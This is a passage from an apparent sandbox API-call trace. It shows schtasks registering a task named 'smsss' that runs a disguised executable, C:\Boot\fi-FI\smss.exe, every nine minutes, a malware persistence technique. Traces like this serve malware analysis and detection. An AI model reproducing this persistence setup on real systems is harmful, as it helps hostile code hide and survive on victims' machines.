ppActions=0x27cfe0*=0x1b7d80) returned 0x0 [0074.533] IActionCollection:Create (in: This=0x1b7d80, Type=0, ppAction=0x27d000 | out: ppAction=0x27d000*=0x1b6140) returned 0x0 [0074.533] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.533] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.533] lstrlenW (lpString=" ") returned 1 [0074.533] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0074.533] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0074.534] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0074.534] IUnknown:Release (This=0x1b6140) returned 0x1 [0074.534] IUnknown:Release (This=0x1b7d80) returned 0x1 [0074.534] ITaskDefinition:get_Triggers (in: This=0x1b7cc0, ppTriggers=0x27cb60 | out: ppTriggers=0x27cb60*=0x1b7ec0) returned 0x0 [0074.534] ITriggerCollection:Create (in: This=0x1b7ec0, Type=1, ppTrigger=0x27cb58 | out: ppTrigger=0x27cb58*=0x1b61b0) returned 0x0 [0074.534] lstrlenW (lpString="9") returned 1 [0074.534] _vsnwprintf (in: _Buffer=0x27cae0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x27cad8 | out: _Buffer="PT9M") returned 4 [0074.534] ITrigger:get_Repetition (in: This=0x1b61b0, ppRepeat=0x27cb50 | out: ppRepeat=0x27cb50*=0x1b6240) returned 0x0 [0074.535] IRepetitionPattern:put_Interval (This=0x1b6240, Interval="PT9M") returned 0x0 [0074.535] IUnknown:Release (This=0x1b6240) returned 0x1 [0074.535] _vsnwprintf (in: _Buffer=0x27caa0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27ca78 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0074.535] ITrigger:put_StartBoundary (This=0x1b61b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0074.535] lstrlenW (lpString="") returned 0 [0074.535] lstrlenW (lpString="") returned 0 [0074.535] lstrlenW (lpString="") returned 0 [0074.535] lstrlenW (lpString="") returned 0 [0074.535] IUnknown:Release (This=0x1b61b0) returned 0x1 [0074.535] IUnknown:Release (This=0x1b7ec0) returned 0x1 [0074.535] ITaskDefinition:get_Settings (in: This=0x1b7cc0, ppSettings=0x27d000 | out: ppSettings=0x27d000*=0x1b5f80) returned 0x0 [0074.535] lstrlenW (lpString="") returned 0 [0074.535] IUnknown:Release (This=0x1b5f80) returned 0x1 [0074.535] GetLocalTime (in: lpSystemTime=0x27ceb8 | out: lpSystemTime=0x27ceb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3a, wMilliseconds=0x382)) [0074.535] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0074.536] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0074.536] GetUserNameW (in: lpBuffer=0x27cee0, pcbBuffer=0x27cec8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x27cec8) returned 1 [0074.537] ITaskDefinition:get_RegistrationInfo (in: This=0x1b7cc0, ppRegistrationInfo=0x27ceb0 | out: ppRegistrationInfo=0x27ceb0*=0x1b7e00) returned 0x0 [0074.537] IRegistrationInfo:put_Author (This=0x1b7e00, Author="") returned 0x0 [0074.537] _vsnwprintf (in: _Buffer=0x27cee0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27ce78 | out: _Buffer="2023-09-19T17:16:58") returned 19 [0074.537] IRegistrationInfo:put_Date (This=0x1b7e00, Date="") returned 0x0 [0074.537] IUnknown:Release (This=0x1b7e00) returned 0x1 [0074.537] malloc (_Size=0x18) returned 0x1b7fb0 [0074.538] free (_Block=0x1b7fb0) [0074.538] lstrlenW (lpString="") returned 0 [0074.538] malloc (_Size=0x18) returned 0x1b7fb0 [0074.538] ITaskFolder:RegisterTaskDefinition (in: This=0x1b7c70, Path="smsss", pDefinition=0x1b7cc0, flags=6, UserId=0x27d150*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27d190*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27f060, varVal2=0xfe), LogonType=3, sddl=0x27d170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x27d070 | out: ppTask=0x27d070*=0x1b6420) returned 0x0 [0074.892] free (_Block=0x1b7fb0) [0074.892] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.892] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0074.892] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0074.893] GetProcessHeap () returned 0x370000 [0074.893] GetProcessHeap () returned 0x370000 [0074.893] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6c0) returned 1 [0074.893] GetProcessHeap () returned 0x370000 [0074.893] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d6c0) returned 0xc [0074.893] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6c0 | out: hHeap=0x370000) returned 1 [0074.893] GetProcessHeap () returned 0x370000 [0074.893] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x82) returned 0x3a9af0 [0074.893] _vsnwprintf (in: _Buffer=0x27d7b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27d018 | out: _Buffer="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n") returned 67 [0074.893] _fileno (_File=0x7feffe22ab0) returned -2 [0074.893] _errno () returned 0x1b4bb0 [0074.893] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0074.894] SetLastError (dwErrCode=0x6) [0074.894] lstrlenW (lpString="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n") returned 67 [0074.894] GetConsoleOutputCP () returned 0x0 [0074.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0074.894] GetConsoleOutputCP () returned 0x0 [0074.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0074.894] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 67 [0074.894] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0074.895] IUnknown:Release (This=0x1b6420) returned 0x0 [0074.895] TaskScheduler:IUnknown:Release (This=0x1b7cc0) returned 0x0 [0074.895] TaskScheduler:IUnknown:Release (This=0x1b7c70) returned 0x0 [0074.895] TaskScheduler:IUnknown:Release (This=0x47dee0) returned 0x1 [0074.895] lstrlenW (lpString="") returned 0 [0074.895] lstrlenW (lpString="9") returned 1 [0074.895] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="9", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0074.895] GetProcessHeap () returned 0x370000 [0074.895] GetProcessHeap () returned 0x370000 [0074.895] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c450) returned 1 [0074.895] GetProcessHeap () returned 0x370000 [0074.895] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c450) returned 0x1fc [0074.896] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c450 | out: hHeap=0x370000) returned 1 [0074.896] GetProcessHeap () returned 0x370000 [0074.896] GetProcessHeap () returned 0x370000 [0074.896] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387f30) returned 1 [0074.896] GetProcessHeap () returned 0x370000 [0074.896] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387f30) returned 0x4 [0074.896] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387f30 | out: hHeap=0x370000) returned 1 [0074.896] GetProcessHeap () returned 0x370000 [0074.896] GetProcessHeap () returned 0x370000 [0074.896] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d620) returned 1 [0074.896] GetProcessHeap () returned 0x370000 [0074.896] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d620) returned 0x16 [0074.896] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d620 | out: hHeap=0x370000) returned 1 [0074.897] GetProcessHeap () returned 0x370000 [0074.897] GetProcessHeap () returned 0x370000 [0074.897] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d600) returned 1 [0074.897] GetProcessHeap () returned 0x370000 [0074.897] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d600) returned 0x18 [0074.897] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d600 | out: hHeap=0x370000) returned 1 [0074.897] GetProcessHeap () returned 0x370000 [0074.897] GetProcessHeap () returned 0x370000 [0074.897] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce70) returned 1 [0074.897] GetProcessHeap () returned 0x370000 [0074.897] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ce70) returned 0x20 [0074.898] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce70 | out: hHeap=0x370000) returned 1 [0074.898] GetProcessHeap () returned 0x370000 [0074.898] GetProcessHeap () returned 0x370000 [0074.898] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c0f0) returned 1 [0074.898] GetProcessHeap () returned 0x370000 [0074.898] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c0f0) returned 0xa0 [0074.899] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c0f0 | out: hHeap=0x370000) returned 1 [0074.899] GetProcessHeap () returned 0x370000 [0074.899] GetProcessHeap () returned 0x370000 [0074.899] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb70) returned 1 [0074.899] GetProcessHeap () returned 0x370000 [0074.899] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bb70) returned 0x18 [0074.899] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb70 | out: hHeap=0x370000) returned 1 [0074.899] GetProcessHeap () returned 0x370000 [0074.899] GetProcessHeap () returned 0x370000 [0074.899] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc30) returned 1 [0074.899] GetProcessHeap () returned 0x370000 [0074.899] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc30) returned 0x20 [0074.899] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc30 | out: hHeap=0x370000) returned 1 [0074.899] GetProcessHeap () returned 0x370000 [0074.899] GetProcessHeap () returned 0x370000 [0074.900] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387c10) returned 1 [0074.900] GetProcessHeap () returned 0x370000 [0074.900] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387c10) returned 0x32 [0074.900] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387c10 | out: hHeap=0x370000) returned 1 [0074.900] GetProcessHeap () returned 0x370000 [0074.900] GetProcessHeap () returned 0x370000 [0074.900] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d640) returned 1 [0074.900] GetProcessHeap () returned 0x370000 [0074.900] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d640) returned 0x18 [0074.900] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d640 | out: hHeap=0x370000) returned 1 [0074.900] GetProcessHeap () returned 0x370000 [0074.900] GetProcessHeap () returned 0x370000 [0074.900] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc00) returned 1 [0074.900] GetProcessHeap () returned 0x370000 [0074.900] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc00) returned 0x20 [0074.901] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc00 | out: hHeap=0x370000) returned 1 [0074.901] GetProcessHeap () returned 0x370000 [0074.901] GetProcessHeap () returned 0x370000 [0074.901] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387b90) returned 1 [0074.901] GetProcessHeap () returned 0x370000 [0074.901] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387b90) returned 0x34 [0074.901] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387b90 | out: hHeap=0x370000) returned 1 [0074.901] GetProcessHeap () returned 0x370000 [0074.901] GetProcessHeap () returned 0x370000 [0074.901] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5e0) returned 1 [0074.901] GetProcessHeap () returned 0x370000 [0074.901] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d5e0) returned 0x18 [0074.901] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5e0 | out: hHeap=0x370000) returned 1 [0074.901] GetProcessHeap () returned 0x370000 [0074.901] GetProcessHeap () returned 0x370000 [0074.902] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cbd0) returned 1 [0074.902] GetProcessHeap () returned 0x370000 [0074.902] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cbd0) returned 0x20 [0074.902] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cbd0 | out: hHeap=0x370000) returned 1 [0074.902] GetProcessHeap () returned 0x370000 [0074.902] GetProcessHeap () returned 0x370000 [0074.902] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c430) returned 1 [0074.902] GetProcessHeap () returned 0x370000 [0074.902] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c430) returned 0xe [0074.902] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c430 | out: hHeap=0x370000) returned 1 [0074.902] GetProcessHeap () returned 0x370000 [0074.902] GetProcessHeap () returned 0x370000 [0074.902] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c410) returned 1 [0074.902] GetProcessHeap () returned 0x370000 [0074.902] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c410) returned 0x18 [0074.902] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c410 | out: hHeap=0x370000) returned 1 [0074.903] GetProcessHeap () returned 0x370000 [0074.903] GetProcessHeap () returned 0x370000 [0074.903] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385de0) returned 1 [0074.903] GetProcessHeap () returned 0x370000 [0074.903] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385de0) returned 0x20 [0074.903] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385de0 | out: hHeap=0x370000) returned 1 [0074.903] GetProcessHeap () returned 0x370000 [0074.903] GetProcessHeap () returned 0x370000 [0074.903] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bcf0) returned 1 [0074.903] GetProcessHeap () returned 0x370000 [0074.903] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bcf0) returned 0x208 [0074.903] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bcf0 | out: hHeap=0x370000) returned 1 [0074.904] GetProcessHeap () returned 0x370000 [0074.904] GetProcessHeap () returned 0x370000 [0074.904] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb50) returned 1 [0074.904] GetProcessHeap () returned 0x370000 [0074.904] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bb50) returned 0x18 [0074.904] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb50 | out: hHeap=0x370000) returned 1 [0074.904] GetProcessHeap () returned 0x370000 [0074.905] GetProcessHeap () returned 0x370000 [0074.905] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385cf0) returned 1 [0074.905] GetProcessHeap () returned 0x370000 [0074.905] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385cf0) returned 0x20 [0074.906] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385cf0 | out: hHeap=0x370000) returned 1 [0074.906] GetProcessHeap () returned 0x370000 [0074.906] GetProcessHeap () returned 0x370000 [0074.906] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d3a0) returned 1 [0074.906] GetProcessHeap () returned 0x370000 [0074.906] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d3a0) returned 0x200 [0074.907] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d3a0 | out: hHeap=0x370000) returned 1 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb90) returned 1 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bb90) returned 0x18 [0074.907] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb90 | out: hHeap=0x370000) returned 1 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c60) returned 1 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c60) returned 0x20 [0074.907] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c60 | out: hHeap=0x370000) returned 1 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c300) returned 1 [0074.907] GetProcessHeap () returned 0x370000 [0074.907] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c300) returned 0x14 [0074.908] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c300 | out: hHeap=0x370000) returned 1 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2e0) returned 1 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c2e0) returned 0x18 [0074.908] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2e0 | out: hHeap=0x370000) returned 1 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385ba0) returned 1 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385ba0) returned 0x20 [0074.908] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385ba0 | out: hHeap=0x370000) returned 1 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c320) returned 1 [0074.908] GetProcessHeap () returned 0x370000 [0074.908] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c320) returned 0x16 [0074.908] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c320 | out: hHeap=0x370000) returned 1 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c1a0) returned 1 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c1a0) returned 0x18 [0074.909] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c1a0 | out: hHeap=0x370000) returned 1 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385b70) returned 1 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385b70) returned 0x20 [0074.909] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385b70 | out: hHeap=0x370000) returned 1 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bad0) returned 1 [0074.909] GetProcessHeap () returned 0x370000 [0074.909] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bad0) returned 0x2 [0074.909] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bad0 | out: hHeap=0x370000) returned 1 [0074.909] GetProcessHeap () returned 0x370000 [0074.910] GetProcessHeap () returned 0x370000 [0074.910] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x3859c0) returned 1 [0074.910] GetProcessHeap () returned 0x370000 [0074.910] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x3859c0) returned 0x20 [0074.910] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3859c0 | out: hHeap=0x370000) returned 1 [0074.910] GetProcessHeap () returned 0x370000 [0074.910] GetProcessHeap () returned 0x370000 [0074.910] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x3859f0) returned 1 [0074.910] GetProcessHeap () returned 0x370000 [0074.910] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x3859f0) returned 0x20 [0074.910] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3859f0 | out: hHeap=0x370000) returned 1 [0074.911] GetProcessHeap () returned 0x370000 [0074.911] GetProcessHeap () returned 0x370000 [0074.911] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385a20) returned 1 [0074.911] GetProcessHeap () returned 0x370000 [0074.911] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385a20) returned 0x20 [0074.911] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385a20 | out: hHeap=0x370000) returned 1 [0074.911] GetProcessHeap () returned 0x370000 [0074.911] GetProcessHeap () returned 0x370000 [0074.911] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385a50) returned 1 [0074.911] GetProcessHeap () returned 0x370000 [0074.911] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385a50) returned 0x20 [0074.912] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385a50 | out: hHeap=0x370000) returned 1 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc60) returned 1 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc60) returned 0x20 [0074.912] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc60 | out: hHeap=0x370000) returned 1 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d740) returned 1 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d740) returned 0xe [0074.912] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d740 | out: hHeap=0x370000) returned 1 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc90) returned 1 [0074.912] GetProcessHeap () returned 0x370000 [0074.912] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc90) returned 0x20 [0074.913] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc90 | out: hHeap=0x370000) returned 1 [0074.913] GetProcessHeap () returned 0x370000 [0074.913] GetProcessHeap () returned 0x370000 [0074.913] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387b50) returned 1 [0074.913] GetProcessHeap () returned 0x370000 [0074.913] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387b50) returned 0x30 [0074.914] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387b50 | out: hHeap=0x370000) returned 1 [0074.914] GetProcessHeap () returned 0x370000 [0074.914] GetProcessHeap () returned 0x370000 [0074.914] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccc0) returned 1 [0074.914] GetProcessHeap () returned 0x370000 [0074.914] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ccc0) returned 0x20 [0074.915] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccc0 | out: hHeap=0x370000) returned 1 [0074.915] GetProcessHeap () returned 0x370000 [0074.915] GetProcessHeap () returned 0x370000 [0074.915] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387bd0) returned 1 [0074.915] GetProcessHeap () returned 0x370000 [0074.915] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387bd0) returned 0x30 [0074.915] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387bd0 | out: hHeap=0x370000) returned 1 [0074.915] GetProcessHeap () returned 0x370000 [0074.915] GetProcessHeap () returned 0x370000 [0074.915] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce40) returned 1 [0074.915] GetProcessHeap () returned 0x370000 [0074.915] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ce40) returned 0x20 [0074.917] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce40 | out: hHeap=0x370000) returned 1 [0074.917] GetProcessHeap () returned 0x370000 [0074.917] GetProcessHeap () returned 0x370000 [0074.917] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d660) returned 1 [0074.917] GetProcessHeap () returned 0x370000 [0074.917] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d660) returned 0xe [0074.917] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d660 | out: hHeap=0x370000) returned 1 [0074.917] GetProcessHeap () returned 0x370000 [0074.917] 